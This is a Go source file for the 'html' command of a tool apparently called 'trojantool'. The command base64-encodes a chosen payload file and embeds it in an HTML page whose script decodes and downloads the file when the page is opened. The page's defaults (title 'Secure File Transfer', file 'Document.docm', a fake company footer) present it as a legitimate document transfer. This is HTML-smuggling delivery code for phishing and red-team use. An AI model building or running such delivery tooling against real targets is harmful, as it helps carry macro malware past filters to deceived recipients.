87 lines
2.4 KiB
Go
87 lines
2.4 KiB
Go
package cmd
|
|
|
|
import (
|
|
_ "embed"
|
|
"encoding/base64"
|
|
"github.com/spf13/cobra"
|
|
"html/template"
|
|
"os"
|
|
"time"
|
|
)
|
|
|
|
//go:embed html.gohtml
|
|
var htmlTmpl string
|
|
|
|
// htmlCmd represents the html command
|
|
var htmlCmd = &cobra.Command{
|
|
Use: "html [flags] payload",
|
|
Short: "Wraps Payload into HTML file",
|
|
Long: `This takes the Payload, encodes it in Base64 and embeds it into a HTML file.
|
|
If the file is opened, the file is decoded using Javascript and "downloaded.
|
|
Example:
|
|
|
|
trojantool html --output document.html --filename Document.docm Document.docm
|
|
`,
|
|
Run: func(cmd *cobra.Command, args []string) {
|
|
type OutData struct {
|
|
Title string
|
|
Encoded string
|
|
Filename string
|
|
Year int
|
|
FooterName string
|
|
FooterURL string
|
|
}
|
|
|
|
var outData OutData
|
|
tmpl := template.Must(template.New("").Parse(htmlTmpl))
|
|
if len(args) != 1 {
|
|
cmd.PrintErr("Please specify one Input file! \n")
|
|
_ = cmd.Help()
|
|
os.Exit(1)
|
|
}
|
|
input := args[0]
|
|
if input == "" {
|
|
cmd.PrintErr("You need to specify an input file!")
|
|
}
|
|
output, _ := cmd.Flags().GetString("output")
|
|
outData.Title, _ = cmd.Flags().GetString("title")
|
|
outData.FooterName, _ = cmd.Flags().GetString("footer-name")
|
|
outData.FooterURL, _ = cmd.Flags().GetString("footer-url")
|
|
outData.Filename = input
|
|
outData.Year = time.Now().Year()
|
|
|
|
content, err := os.ReadFile(input)
|
|
if err != nil {
|
|
cmd.PrintErrf("Could not read Input file: %s", err)
|
|
}
|
|
outData.Encoded = base64.StdEncoding.EncodeToString(content)
|
|
|
|
outFile, err := os.Create(output)
|
|
if err != nil {
|
|
cmd.PrintErrf("Could not create output file: %s", err)
|
|
}
|
|
defer func(outFile *os.File) {
|
|
err := outFile.Close()
|
|
if err != nil {
|
|
|
|
}
|
|
}(outFile)
|
|
err = tmpl.Execute(outFile, outData)
|
|
if err != nil {
|
|
cmd.PrintErrf("Could not create output file: %s", err)
|
|
}
|
|
|
|
},
|
|
}
|
|
|
|
func init() {
|
|
rootCmd.AddCommand(htmlCmd)
|
|
|
|
// Here you will define your flags and configuration settings.
|
|
htmlCmd.Flags().String("output", "Secure.html", "This is the Name of the Output file")
|
|
htmlCmd.Flags().String("title", "Secure File Transfer", "This is the Title of the HTML page")
|
|
htmlCmd.Flags().String("filename", "Document.docm", "Name of the File that gets Downloaded")
|
|
htmlCmd.Flags().String("footer-name", "Made Up, Inc", "Name of the Company in the Footer")
|
|
htmlCmd.Flags().String("footer-url", "https://madeupinc.com", "Name of the Company in the Footer")
|
|
}
|